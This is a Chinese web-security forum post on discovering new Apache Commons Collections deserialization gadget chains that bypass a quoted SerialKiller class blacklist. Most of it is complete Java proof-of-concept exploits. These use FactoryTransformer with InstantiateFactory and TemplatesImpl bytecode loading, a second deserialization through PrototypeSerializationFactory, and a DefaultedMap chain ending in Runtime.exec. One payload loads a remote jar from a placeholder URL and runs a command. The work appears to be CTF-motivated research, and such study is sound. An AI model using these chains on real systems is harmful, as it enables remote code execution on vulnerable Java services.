CC链再次挖掘
真爱和自由 发表于 四川 WEB安全 1852浏览 · 2024-07-04 08:31

CC链再次挖掘

简单分析

记得上次给了群友一道题,是关于cc链的一道题,因为上次是直接看wp看到这道题的,也是没有思考很多东西,就只学到了一个绕过手法而已,然后昨天拿给gaorenyusi和6s6做的时候,看到他们做题的过程,发现了其实感觉是很多的绕过手法,然后也发现了一些危险的类,这里挖掘一次

这里先把waf给出来

<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
    <refresh>6000</refresh>
    <mode>
        <!-- set to 'false' for blocking mode -->
        <profiling>false</profiling>
    </mode>
    <logging>
        <enabled>false</enabled>
    </logging>
    <blacklist>
        <!-- ysoserial's CommonsCollections1,3,5,6 payload  -->
        <regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
        <regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
        <regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp>
        <regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp>
        <regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer$</regexp>
        <!-- ysoserial's CommonsCollections2,4 payload  -->
        <regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp>
        <regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp>
        <regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp>
        <regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp>
        <regexp>org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp>
    <acklist>
    <whitelist>
        <regexp>.*</regexp>
    </whitelist>
</config>

可以看到出口类是一个没有了,所以我们需要宁寻出口

但是怎么找,我们cc链入口还是只有哪些,总结起来

可以看到所有的都离不开我们的Trasnform方法,入口可以不变,也就是我们需要寻找的点是能造成恶意利用的

FactoryTransformer

分析

我们看到它的,可以调用iFactory.create()方法,而我们的iFactory是可以控制的

public Object transform(Object input) {
        return iFactory.create();
    }
public FactoryTransformer(Factory factory) {
        super();
        iFactory = factory;
    }

所以我们找找有没有什么恶意利用的create方法

最后是找到了InstantiateFactory,它的create方法可以实例化一个类,可以看到是和我们的InstantiateTransformer作用一模一样

public Object create() {
        // needed for post-serialization
        if (iConstructor == null) {
            findConstructor();
        }

        try {
            return iConstructor.newInstance(iArgs);

        } catch (InstantiationException ex) {
            throw new FunctorException("InstantiateFactory: InstantiationException", ex);
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InstantiateFactory: Constructor must be public", ex);
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InstantiateFactory: Constructor threw an exception", ex);
        }
    }

POC

package OtherFind;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InstantiateFactory;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Instantiatefactory {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        byte[] code = Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\CC1_5_6_7\\target\\classes\\GJ\\Test.class"));
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "calc");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        InstantiateFactory instantiateFactory=new InstantiateFactory(TrAXFilter.class,new Class[] {Templates.class},new Object[]{templates});
        FactoryTransformer factoryTransformer=new FactoryTransformer( instantiateFactory);
        HashMap map = new HashMap();
        LazyMap lazymap = (LazyMap) LazyMap.decorate(map,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry =new TiedMapEntry(lazymap, "123");
        HashMap hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"ljl");
        setFieldValue(lazymap,"factory",factoryTransformer);
        lazymap.remove("123");
        serialize(hashMap);
        unserialize("123.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("123.bin"));
        oos.writeObject(obj);
    }

    //反序列化数据
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);

    }
}

PrototypeSerializationFactory

分析

这个是我们的PrototypeFactory类的静态类,其实PrototypeFactory类的create方法也是可以造成恶意利用的

但是不能传入参数,太鸡肋了

public Object create() {
            // needed for post-serialization
            if (iCloneMethod == null) {
                findCloneMethod();
            }

            try {
                return iCloneMethod.invoke(iPrototype, (Object[])null);

            } catch (IllegalAccessException ex) {
                throw new FunctorException("PrototypeCloneFactory: Clone method must be public", ex);
            } catch (InvocationTargetException ex) {
                throw new FunctorException("PrototypeCloneFactory: Clone method threw an exception", ex);
            }
        }

但是它的静态类的create方法,不就是一个二次反序列化的入口吗我靠

public Object create() {
    ByteArrayOutputStream baos = new ByteArrayOutputStream(512);
    ByteArrayInputStream bais = null;
    try {
        ObjectOutputStream out = new ObjectOutputStream(baos);
        out.writeObject(iPrototype);

        bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream in = new ObjectInputStream(bais);
        return in.readObject();
        .....

我们看一看iPrototype是否可以控制

只不过是私有的,反射调用就好了

private PrototypeSerializationFactory(Serializable prototype) {
            super();
            iPrototype = prototype;
        }

POC

package OtherFind;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

import static OtherFind.Instantiatefactory.setFieldValue;

public class prototypeSerializationFactory {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        byte[] code = Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\CC1_5_6_7\\target\\classes\\GJ\\Test.class"));
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "calc");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        InstantiateFactory instantiateFactory=new InstantiateFactory(TrAXFilter.class,new Class[] {Templates.class},new Object[]{templates});
        FactoryTransformer factoryTransformer=new FactoryTransformer( instantiateFactory);
        HashMap map = new HashMap();
        LazyMap lazymap = (LazyMap) LazyMap.decorate(map,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry =new TiedMapEntry(lazymap, "123");
        HashMap hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"ljl");
        setFieldValue(lazymap,"factory",factoryTransformer);
        lazymap.remove("123");
        Class c = Class.forName("org.apache.commons.collections.functors.PrototypeFactory$PrototypeSerializationFactory");
        Constructor constructor = c.getDeclaredConstructor(Serializable.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(hashMap);
        FactoryTransformer factoryTransformer1 = new FactoryTransformer((Factory) o);
        ConstantTransformer constantTransformer = new ConstantTransformer(1);

        Map innerMap1 = new HashMap();
        LazyMap outerMap1 = (LazyMap)LazyMap.decorate(innerMap1, constantTransformer);

        TiedMapEntry tme1 = new TiedMapEntry(outerMap1, "1234");

        Map expMap1 = new HashMap();
        expMap1.put(tme1, "1234");
        setFieldValue(outerMap1,"factory",factoryTransformer);

        outerMap1.remove("1234");
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(expMap1);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D://ser2.bin"));
        objectOutputStream.writeObject(obj);
    }

    public static Object unSerialize() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D://ser2.bin"));
        return objectInputStream.readObject();
    }
}

ReflectionFactory

它是MultiValueMap的一个静态类

我们看到它的create方法,可以实例化一个类,和我们的

但是遗憾的是它没实现我们的序列化接口,它的作用是可以实例化一个类,和我们前面的作用挺像的,但是只能调用无参构造方法,确实没有什么作用

CloneTransformer

看到它的transform方法

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    return PrototypeFactory.getInstance(input).create();
}

我们看看这个getInstance方法

public static Factory getInstance(Object prototype) {
    if (prototype == null) {
        return ConstantFactory.NULL_INSTANCE;
    }
    try {
        Method method = prototype.getClass().getMethod("clone", (Class[]) null);
        return new PrototypeCloneFactory(prototype, method);

怎么说其实还是为了调用

public Object create() {
    // needed for post-serialization
    if (iCloneMethod == null) {
        findCloneMethod();
    }

    try {
        return iCloneMethod.invoke(iPrototype, (Object[])null);

    }

还是同样的问题,必须无参,真实环境还是很困难的,不过如果构造方法能够不传入参数就恶意利用还是不错的

cc中的execute和evaluate

我还发现很多execute方法,但是最终是没有发现什么价值,但是还是记录一下查找的过程

ClosureTransformer类的Transform方法

public Object transform(Object input) {
    iClosure.execute(input);
    return input;
}

如果我们的execute可以恶意利用的话就很不错

但是很搞笑的一点就是循环起来了

TransformerClosure类的这个方法可以调用transform

public void execute(Object input) {
    iTransformer.transform(input);
}

现在我的思路就变了,想着寻找一下触发transform的新方法

看看谁能够调用execute,找了一圈也是没有什么收获,拉到再见

然后再看我们的evaluate方法

在TransformedPredicate类它的evaluate可以调用transform,我们去找找谁调用了evaluate

public boolean evaluate(Object object) {
    Object result = iTransformer.transform(object);
    return iPredicate.evaluate(result);
}

无语了,和我们的execute简直是难兄难弟,都是陷入死循环了

SwitchTransformer

它的transform方法其实和我们的ChainedTransformer大差不差,所以可以去代替我们的ChainedTransformer实现一个循环调用的效果

public Object transform(Object input) {
    for (int i = 0; i < iPredicates.length; i++) {
        if (iPredicates[i].evaluate(input) == true) {
            return iTransformers[i].transform(input);
        }
    }
    return iDefault.transform(input);
}

DefaultedMap

其实我们之前学cc1的时候就有很多map,只是没有用这个而已,我们看到其实它和我们的lazymap一样的,触发它的get方法

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        if (value instanceof Transformer) {
            return ((Transformer) value).transform(key);
        }
        return value;
    }
    return map.get(key);
}

调用链

import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import javax.management.BadAttributeValueExpException;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import org.apache.commons.collections.map.DefaultedMap;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

/*
    Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        DefaultedMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()
    Requires:
        commons-collections
 */
/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
 */
//@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.2.1"})
@Authors({ Authors.MEIZJM3I})
public class CommonsCollections7 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {

    public BadAttributeValueExpException getObject(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };

        final Map innerMap = new HashMap();
        final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo");

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(val, entry);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

        return val;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections5.class, args);
    }

    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isBadAttrValExcReadObj();
    }

}

通过hashcode

这个就不分析了,挺简单的

主要是Hashset的readobject方法调用了HashMap的put方法,然后就是Hashcode的利用了

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.Deserializer;
import ysoserial.Serializer;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner;

import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

/*
    Gadget chain:
        java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

    by @matthias_kaiser

*/

/**
 * Author: @Jayl1n
 * 加载远程jar,需要accessDeclaredMembers权限
 */
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({Authors.MATTHIASKAISER})
public class CommonsCollections8 extends PayloadRunner implements ObjectPayload<Serializable> {

    public Serializable getObject(final String args) throws Exception {

        int indexOfFirstSpace = args.indexOf(" ");
        String url = "";
        String command = "";
        if (indexOfFirstSpace != -1) {
            url = args.substring(0, indexOfFirstSpace);
            command = args.substring(indexOfFirstSpace);
        }

        final String[] execArgs = new String[]{command};

        final Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(java.net.URLClassLoader.class),
            // getConstructor class.class classname
            new InvokerTransformer("getConstructor",
                                   new Class[]{Class[].class},
                                   new Object[]{new Class[]{java.net.URL[].class}}),
            new InvokerTransformer(
                "newInstance",
                new Class[]{Object[].class},
                new Object[]{new Object[]{new java.net.URL[]{new java.net.URL(url)}}}),
            // loadClass String.class R
            new InvokerTransformer("loadClass",
                                   new Class[]{String.class}, new Object[]{"Z"}),
            // set the target reverse ip and port
            new InvokerTransformer("getConstructor",
                                   new Class[]{Class[].class},
                                   new Object[]{new Class[]{String.class}}),
            // invoke
            new InvokerTransformer("newInstance",
                                   new Class[]{Object[].class},
                                   new Object[]{new String[]{command}}),
            new ConstantTransformer(1)};

        Transformer transformerChain = new ChainedTransformer(transformers);

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

        f.setAccessible(true);
        HashMap innimpl = (HashMap) f.get(map);

        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }


        f2.setAccessible(true);
        Object[] array = (Object[]) f2.get(innimpl);

        Object node = array[0];
        if (node == null) {
            node = array[1];
        }

        Field keyField = null;
        try {
            keyField = node.getClass().getDeclaredField("key");
        } catch (Exception e) {
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }

        keyField.setAccessible(true);
        keyField.set(node, entry);

        return map;

    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections8.class, args);
        String args1 = "http://xxx.xxx.xxx.xxx whoami";
        Serializable object = new CommonsCollections8().getObject(args1);
        byte[] serialize = Serializer.serialize(object);
        String x = Base64.getEncoder().encodeToString(serialize);
        System.out.println(x);
//        Deserializer.deserialize(serialize);
    }
}
3 条评论
某人
表情
可输入 255